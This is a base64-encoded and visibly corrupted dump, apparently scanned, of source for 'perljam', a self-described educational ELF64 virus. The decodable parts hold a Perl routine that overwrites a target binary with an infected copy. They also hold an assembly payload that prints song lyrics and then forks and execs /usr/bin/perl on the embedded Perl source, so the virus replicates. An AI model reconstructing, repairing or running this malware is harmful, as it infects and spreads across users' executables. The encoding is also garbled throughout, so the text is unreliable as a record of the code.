ZSBvcmlnawW5hbCBiaW5henkgd210aCBObXAgY29weQoJdwW5sawW5r ICRmaWx10woJY29weSgiJGZp
bGUuUdG1wIiwgJGZpbGUpOwoJdW5saW5rICIkZmlsZS50bXAi0woJY2htb2QgMDCc1NSwWgJIGZpbGU7
Cno=

perljam.s
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OyBwZXJsamFtLnMKOyB3cm1lOdGVUIGJI5IGlzcmEgLSBpc3JIhIF9yZXBsYWN1IX2J5XOBTFIGZhc3Rt
YW1sLm51dCAtIGhO@dHBz0i8vaGNrbmcub3JInCjsKOyBodHRwczovL2hja25nLm9yZy9hcnRpY2x1
cy9wzZXJsamFtLWVsZjYOLXZpcnVzLmhObWwKOyBodHRwczovL2dpdC5zci5odC9+aGNrbmevdngv
dHJ1ZS9tYXNOZXIvaXR1bS9wzXJIsamFtLnMKOyBodHRwczovL2dpdGhlYi5jb20vawx2L3Z4L2Js
b2IvbWFpbi9wzXJsamFtLnMKOwo7IHZ1lcnNpb24gMC4yICOgMDQUMDgUMjAYyMwWo7C]isgcGF5bGOh
ZCBmb3IgcGVybGphbS5wbA07C]jsgaXQgcHIpbnRzIHRVIHNGZG91dCBhbiBleHRYYWNOIGZYb20g
dGh1IHNvbmcgInJ1lbGVhc2UiIGJ5IFBlYXJsIEphbSBhbmQgdGhlbgo7IHJ1cGxpY2F0ZXMgdGhl
IHZpcnVzIGJI5IHI1bm5pbmcgcGVybGphbS5whCBzb3VyY2UgY29kZSB1bWJI1ZGR1ZCBpbiBOaGUK
OyBpbmz1lY3R1zCBiaW5hcnkKOwo7IHBlcmxqYWOucyB3YXMghbWFkZSBmb3IgZWR1Y2FOawouYWwg
CHVyYcG9zZXMgh25seSwgSSdtIG5vdCBYyZXNwb25zaWJsZQo7IGZvciBhbnkgbWlzdXN1IG9yIGRh
bWFNZSBjYXVzZWQgYnkgdGhpcyBwcm9ncmFtLiBVc2UgaXQgYXQgewW91lciBvd24gcmlzay4KOwo7
IHROYW5rcyBObyBObXAwWdXQgYW5kIHZ4dWcgZmOyIGFshCBOaGUgcmVzb3VyY2VzCjsKOyBtYwlu
THJI1ZmVyZW53jZXM6CjsgLSBodHRwczovL3d3dy5ndwWlobXouY29tL2xpbnV4LW1lpZHIhc2hpbS1l
bGYtdmlydXMvCjsgLSBodHRwczovL3d3dy5zeWlib2xjcmFzaC5jb20vMjAX0S8wMy8yNy9wdF9u
b3R1LXRVLXBOX2xVvYWQtaW5qZWNOawOuLWluLWVsZi8KOyAtIGhOdHBz0i8vdGlwb3VOLNNOLZEV
My50dG1sCjsgLSBodHRwczovL3RtcG91dC5zaC8xLzIuaHRtbA07CgpCSVRTIDYOCMdsb2JhbCBf
c3RhcnQKc2VjdGlvbiAudGV4dApfc3RhcnQ6CiAgICB]j YWxSIG1haW4KICAgQIGRIICJIPIGFtIG1S5
c2VsZiwgbGlrzSB5b3Ugc29tzZWhvdyIsIDB4YSwgMHgwCiAgICBkYiAiL3Vzci9iawW4veGVybCIs
IDB4MAOQICAQZGIgIil4IiwgMHgwCiAgICBkYiAieHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHgiCiAgICBkYiAieHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHgiCiAgICBkYiAieHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHgiCiAgICBkYiAieHh4eHh4eHh4eHh4
eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4IiwgMHgQWCiAgICAKIG1haW46CiAgICA70zs7
0zs70zs70zsKICAgIDsgcHIpbnQgbXNNnCiAgICA70zs70zs702zs70zSsKICAgIHhvciByYXgsIHJh
eA0gICAgeG9yIHJIkeCwgcmR4CiAgICBpbmMgYWwWKICAQIG1vdiByZGksIHIheAogICAgCGOwIHIZ
aQogICAghbW92IGRSLCAzZMAOQICAQC31zY2FsbAOKICAgIDs70zs70zs7CiAgICA7IGZvcmsSKICAg
IDs70zs70zs7CiAgICB4b3IgcmF4LCBYYXgKICAQIG1vdiByYXgsIDU3CiAgICBzeXN]jYWxsCiAg
ICBOZXNOIGVheCwgZWF4CiAgICBgbmUgcGFyZW50CgogICAg0zs70zs702s702s70257025702s7
0zs70wogICAgOYyBjYWxsIHBlcmwgaW50ZXJIwcmVOZXIKICAgIDS70zs702s702s702s702s702s7
02570zSKCiAgICA7IGZpbGVUYW11ICIVAXNyL2Jpbi9wzZXJsIgogICAgbGVhIHIkaSwgwW3JzasSsz
MVOgICAKICAgIA0gICAgOyBhcmd2CiAgICA7IFsil3Vzci9iawWdvcGVybCIsICIteCIsICJ4eHh4
eC4uLiJdIChvbiByZXZ1cnN1KQogICAgeGOyIHJIkeCwgcmR4CiAgICBWAXNOIHIkeAogICAgbGVh
IHJieCwgW3JzaSs00FO0gOyAieHh4Li4uIgogICAgcHVzaCByYngKICAgIGXx1YSByYngsIFtyc2kr
NDVdIDsgIil4IgogICAgcHVzaCByYngKICAgIHB1c2ggcmRpICAgICAgQICAgIDsgIi91c3IvYmlu
L3BlcmwiCiAgICBtb3YgcnNpLCBYyc3AgCgogICAgOyBleGVjdmUgJliBleGlOCiAgICB4b3IgcmF4
LCBYYXgKICAQIG1vdiByYXgsIDUSCiAgICBtb3YgcmR4LCAWCiAgICBzeXN]jYWxsCiAgICB4b3Ig
CMR4LCBYZHgKICAQIG1vdiByYXgsIDYWCiAgICBzeXNjYWxsCgpwYXJ1lbnQ6CiAgICA7IGNSZWFuU
dXAgZm9yIHR0ZSBgbXAgaw5zdHJ1Y3Rph24KICAgIHhvciByYXgsIHIheAogICAgeGOyIHJIkeCwg
cmR4
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